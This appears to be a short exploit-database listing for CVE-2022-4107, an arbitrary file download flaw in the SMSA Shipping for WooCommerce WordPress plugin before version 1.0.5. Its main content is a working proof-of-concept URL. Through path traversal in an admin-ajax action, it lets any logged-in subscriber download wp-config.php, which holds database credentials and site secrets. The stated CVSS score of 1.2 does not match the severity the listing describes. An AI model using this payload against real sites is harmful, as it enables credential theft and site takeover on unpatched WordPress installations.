Exploit for SMSA Shipping for WooCommerce < 1.0.5 - Subscriber+ Arbitrary File Download CVE-2022-4107

Name: Exploit for SMSA Shipping for WooCommerce < 1.0.5 - Subscriber+ Arbitrary File Download CVE-2022-4107
Rating: 5 (112 reviews)

2022-11-22 | CVSS 1.2

## https://sploitus.com/exploit?id=WPEX-ID:0B432858-722C-4BDA-AA95-AD48E2097302
Open the following URL when being logged in as any user https://example.com/wp-admin/admin-ajax.php?action=ced_smsa_get_pfd_download&filename=../../../../wp-config.php